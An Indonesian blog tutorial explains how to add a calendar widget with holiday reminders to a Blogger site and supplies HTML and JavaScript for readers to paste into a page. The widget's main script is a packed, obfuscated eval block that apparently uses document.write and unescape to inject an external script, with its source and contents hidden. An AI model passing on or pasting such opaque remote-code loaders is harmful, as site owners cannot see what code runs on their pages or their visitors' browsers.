Membuat widget kalender beserta pengingat hari libur di blogger
Hello sobat ICloudzer kali ini admin bakalan menjabarkan mengenai cara membuat widget kalender beserta hari libur dan tanggal merah di blogger
Info: Jika kamu sudah penasaran dengan pembahasan kita kali ini yuk langsung aja kita bahas bersama sama
Widget Kalender di blogger
Apa itu widget kalender di blogger? sesuai namanya widget kalender merupakan fitur untuk menampilkan kalender custom di Blogger, biasanya kalender terdiri dari Hari, tanggal, Bulan, tahun dan peringatan saat hari libur alias tanggal merah, bisa di bilang widget kalender beserta peringatan hati libur di blogger ini sangan komplit dan lengkap, bahkan kamu bisa menambahkan sendiri tanggal libur kamu di dalam widget kalender di blogger ini
Contoh Tampilan
Untuk melihat contoh tampilan dari widget kalender di blogger, silahkan periksa menggunakan tombol di bawah ini, okay
Cara Pembuatan
Baiklah sobat ICloudzer sekarang saatnya bakalan admin jelaskan mengenai cara membuat widget kalender di blogger, silahkan baca dan ikuti setiap arahan yang bakal admin jelaskan di bawah ini
- Silahkan login ke blogger menggunakan akun google milikmu
- Selanjutnya silahkan pergi ke menu Halaman
- Kemudian buat halaman baru dan berikan judul Widget Kalender atau terserah kamu saja
- Berikutnya silahkan salin seluruh script untuk membuat widget kalender di blogger dan tempelkan di dalam halaman yang kamu buat sebelumnya
- Jika sudah publikasikan halaman dan coba lihat bagaimana tampilan dari widget kalender tersebut
<div class="calendar-container">
<div class="calendar-header">
<button class="button" id="prevMonth"><</button>
<h2 id="monthYear"></h2>
<button class="button" id="nextMonth">></button>
</div>
<div id="calendar" class="calendar">
</div>
<div class="selected-date" id="selectedDate">
</div>
<div id="agenda" class="agenda">
</div>
<div style="text-align: center; margin-top: 20px;">
<button class="button" id="todayBtn">Today</button>
</div>
</div>
<script>
/*<![CDATA[*/
const rahYear = "2024";
const rahMonthNames = ["Jan", "Feb", "Mar", "Apr", "Mei", "Jun", "Jul", "Agu", "Sep", "Okt", "Nov", "Des"];
const rahDaysNames = ['M', 'S', 'S', 'R', 'K', 'J', 'S'];
const rahAgendaItems = {'5': {'23': 'Hari Raya Waisak', '24': 'Cuti Bersama Waisak',}, '6': {'1': 'Hari Lahir Pancasila','17': 'Idul Adha','18': 'Idul Adha',},};
const rahChoiceDate = "Tanggal Terpilih";
const rahNoAgenda = "Tidak ada agenda";
/*]]>*/</script>
<script>/*<![CDATA[*/
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('j k(){g a=[\'I\',\'v%w%y%7\',\'4%20%s%h\',\'%l%J%h%\',\'K\',\'%l%9%l%\',\'i%x%z%7\',\'L\',\'0%s%M%9\',\'%h%w%y%\',\'%9%i%m%\',\'N\',\'t%i%z%6\',\'F%O%P%9\',\'w%v%n%7\',\'4%n%Q%R\',\'S\',\'%n%T%m%\',\'5%m%l%i\',\'U\',\'V\',\'W\',\'3%m%n%x\',\'X\',\'Y\',\'Z%o%x%6\',\'h%l%10%7\',\'11\',\'n%12%o%2\',\'t%A%A%7\',\'%i%13%27%\',\'%9%h%o%\',\'s%27%9%3\',\'5%v%m%o\',\'4%9%14%t\',\'%h%o%t%\',\'%15%s%i%\'];k=j(){u a};u k()}j p(d,e){g f=k();u p=j(a,b){a=a-(-16+-17*B+18);g c=f[a];u c},p(d,e)}g 1=p;(j(a,b){g c=p,q=a();19(!![]){1a{g d=-8(c(1b))/(-C*-1c+-1d+1e)*(8(c(1f))/(-1g*r+-1h+-r*-1i))+8(c(1j))/(1k+-1l+-1m*D)+8(c(1n))/(r*-1o+1p+r*1q)+8(c(1r))/(1s+-B*1t+C*1u)*(-8(c(1v))/(1w+-1x+-1y*1z))+-8(c(1A))/(-1B+-1C+1D)*(8(c(1E))/(1F*-1G+-D+1H))+-8(c(1I))/(1J+-1K+-1L)+8(c(1M))/(-1N+-r*-1O+1P*-1Q);1R(d===b)1S;1T q[\'G\'](q[\'H\']())}1U(1V){q[\'G\'](q[\'H\']())}}}(k,-1W+1X*1Y+-1Z*21),22[1(23)](24(1(25)+1(26)+1(28)+1(29)+1(2a)+1(2b)+1(2c)+1(2d)+1(2e)+1(2f)+1(2g)+1(2h)+1(2i)+1(2j)+1(2k)+1(2l)+1(2m)+1(2n)+1(2o)+1(2p)+1(2q)+1(2r)+1(2s)+1(2t)+1(2u)+1(2v)+\'E\')));',62,156,'|_0x44e7c3|||||||parseInt|2F|||||||var|72|63|function|_0x1dc8|69|64|65|61|_0x3352|_0x59d800|0x1|73|68|return|6E|2E|6C|6A|6F|74|0xb|0x4|0x13c|||push|shift|write|76|300TrCjBe|7221012EGebqX|3A|5gSUrce|4A|53|2D|75|6966TZIqzf|40|5543984QsEOCc|5139477SmctHK|2733141dpAtgk|10305470mjDYeC|29232420UdOufH|43|70|8ZHOVYv|77|3D|67|3C|0x44a|0xdc|0xe6d|while|try|0xc7|0x1a8|0x11e2|0xb43|0xbb|0x1705|0x23ad|0x3ab4|0xcc|0x2224|0x197d|0x7|0xca|0x1ad7|0x11a0|0x93b|0xc2|0x167b|0x35e|0x3a5|0xbe|0x1ff1|0xc79|0x83|0x26|0xce|0x26e9|0xd93|0x3483|0xd2|0x1a|0x17|0x39a|0xcb|0x2627|0x1eb0|0x76e|0xcf|0x221|0x1ff3|0x8|0x3b9|if|break|else|catch|_0x440428|0x11dd4|0x23|0xacbd|0x2c6dd||0x3|document|0xb7|unescape|0xb6|0xd1||0xb9|0xb0|0xaf|0xbf|0xc1|0xb8|0xcd|0xba|0xc5|0xb4|0xb1|0xc3|0xc6|0xbc|0xbd|0xc9|0xc8|0xd3|0xc4|0xb5|0xd0|0xb3|0xc0|0xb2'.split('|'),0,{}))
/*]]>*/</script>
Info: Silahkan sobat klik tanggal nya untuk memunculkan pengingat waktu liburnya